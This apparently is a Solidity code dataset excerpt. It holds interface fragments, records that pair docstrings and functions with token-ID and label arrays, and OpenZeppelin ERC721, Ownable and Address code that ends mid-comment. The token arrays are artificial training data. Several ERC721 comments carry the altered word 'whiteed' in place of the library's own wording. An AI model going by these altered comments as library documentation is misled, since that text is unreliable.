* https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
*
* _Available since v4.1._
*/
interface IERC3156FlashBorrowerUpgradeable {
/**
* @dev Receive a flash loan.
* @param initiator The initiator of the loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param fee The additional amount of tokens to repay.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
* @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
*/
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface AggregatorV3Interface {
function decimals()
external
view
returns (
uint8
);
function description()
external
view
returns (
string memory
);
function version()
external
view
returns (
uint256
);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
|
@dev Public function returns `true` if `account` has been granted a revoker role
|
function isRevoker(address account) public view returns (bool) {
return _has(_revokers, account);
}
| 9,906,167 |
[
1,
4782,
445,
1135,
1375,
3767,
68,
309,
1375,
4631,
68,
711,
2118,
17578,
279,
5588,
601,
264,
2478,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
353,
10070,
601,
264,
12,
2867,
2236,
13,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
389,
5332,
24899,
9083,
601,
414,
16,
2236,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x893B452Ff93bD6fCBdEEf062bB18c8cdd53CEAA3/sources/GOPE.sol
|
* @dev Returns the integer division of two unsigned integers. Reverts on division by zero. The result is rounded towards zero. Counterpart to Solidity's `/` operator. Note: this function uses a `revert` opcode (which leaves remaining gas untouched) while Solidity uses an invalid opcode to revert (consuming all remaining gas). Requirements: - The divisor cannot be zero./
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMathStandard: division by zero");
}
| 4,208,099 |
[
1,
1356,
326,
3571,
16536,
434,
2795,
9088,
12321,
18,
868,
31537,
603,
16536,
635,
3634,
18,
1021,
563,
353,
16729,
23248,
3634,
18,
9354,
2680,
358,
348,
7953,
560,
1807,
1375,
19,
68,
3726,
18,
3609,
30,
333,
445,
4692,
279,
1375,
266,
1097,
68,
11396,
261,
12784,
15559,
4463,
16189,
640,
869,
19370,
13,
1323,
348,
7953,
560,
4692,
392,
2057,
11396,
358,
15226,
261,
17664,
310,
777,
4463,
16189,
2934,
29076,
30,
300,
1021,
15013,
2780,
506,
3634,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
3739,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
3739,
12,
69,
16,
324,
16,
315,
9890,
10477,
8336,
30,
16536,
635,
3634,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-03
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-22
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
// File @openzeppelin/contracts/utils/[email protected]
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been whiteed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is whiteed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/[email protected]
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is whiteed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
